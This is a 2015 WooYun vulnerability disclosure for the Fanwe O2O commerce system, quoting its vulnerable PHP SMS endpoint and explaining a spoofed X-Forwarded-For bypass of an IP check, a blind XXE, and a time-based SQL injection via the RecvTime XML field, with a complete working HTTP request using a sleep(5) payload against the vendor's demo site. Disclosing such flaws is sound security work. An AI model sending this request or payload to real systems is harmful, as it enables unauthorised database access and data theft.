当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122544

漏洞标题:方维O2O商业系统SQL注入漏洞+XXE实体注入(demo验证)

相关厂商:fanwe.com

漏洞作者: story

提交时间:2015-06-24 19:43

修复时间:2015-09-27 19:45

公开时间:2015-09-27 19:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-23: 细节向核心白帽子及相关领域专家公开
2015-09-02: 细节向普通白帽子公开
2015-09-12: 细节向实习白帽子公开
2015-09-27: 细节向公众公开

简要描述:

RT

详细说明:

方维O2O,demo站点地址:http://o2odemo.fanwe.net/
/cpapi/qxtapi.php

define("FILE_PATH","/cpapi"); 
require_once '../system/system_init.php';
$ip = CLIENT_IP;
$xml = file_get_contents('php://input');
if($ip!='221.179.180.156' || $xml=="")
{
header("Content-Type:text/html; charset=utf-8");
echo "·Ç·¨·ÃÎÊ";
exit;
}
$xml = str_replace(array("/r/n", "/r", "/n"), "", $xml);
$xml_arr = simplexml_load_string($xml);


如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。
因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。
这边读到文件通过base64传给我的web日志:

QQ20150621-1@2x.png


这不是重点。
继续看后面的代码,SQL注入是重点:

$xml_arr = simplexml_load_string($xml);
$SrcMobile = $xml_arr->Body->Message->SrcMobile;
$Content = $xml_arr->Body->Message->Content;
$RecvTime = $xml_arr->Body->Message->RecvTime;
$arr = explode("-",$Content);
$prefix = $arr[0];
if($prefix!='u'&&$prefix!='v')
{
if(log_coupon("","短信内容:".$Content,$RecvTime)&&$SrcMobile)
{
$msg_data['dest'] = $SrcMobile;
$msg_data['send_type'] = 0;
$msg_data['content'] = "短信格式错误";
$msg_data['send_time'] = 0;
$msg_data['is_send'] = 0;
$msg_data['create_time'] = NOW_TIME;
$msg_data['user_id'] = 0;
$msg_data['is_html'] = 0;
$GLOBALS['db']->autoExecute(DB_PREFIX."deal_msg_list",$msg_data); //插入
echo "ok";
exit;
}
}


可见从xml里读取的内容,传入了log_coupon函数,跟进看看:

function log_coupon($coupon_sn,$msg,$query_id = '')
{
$data = array();
$data['coupon_sn'] = $coupon_sn;
$data['msg'] = $msg;
$data['query_id'] = $query_id;
$data['create_time'] = NOW_TIME;
if($GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."coupon_log where query_id = '".$query_id."'")==0)
{
$GLOBALS['db']->autoExecute(DB_PREFIX."coupon_log",$data); //插入
return true;
}
else
{
return false;
}
}


可见query_id(也就是XML里的RecvTime)直接带入SQL语句。
这个demo站可以演示了,延时注入。POST如下数据包:

POST /cpapi/qxtapi.php HTTP/1.1
Host: o2odemo.fanwe.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/x-www-form-urlencoded
Content-Length: 147
X-FORWARDED-FOR: 221.179.180.156
<aaaa>
<Body>
<Message>
<SrcMobile>13322221111</SrcMobile>
<Content>123123</Content>
<RecvTime>0'|sleep(5)#</RecvTime>
</Message>
</Body>
</aaaa>


即可看见延迟了5秒才出结果。
写了个脚本跑一下数据库用户名。见测试代码。

漏洞证明:

QQ20150621-3@2x.png


QQ20150621-2@2x.png

修复方案:

过滤。

版权声明:转载请注明来源 story@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-27 19:45

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-06-30:正在处理


漏洞评价:

评论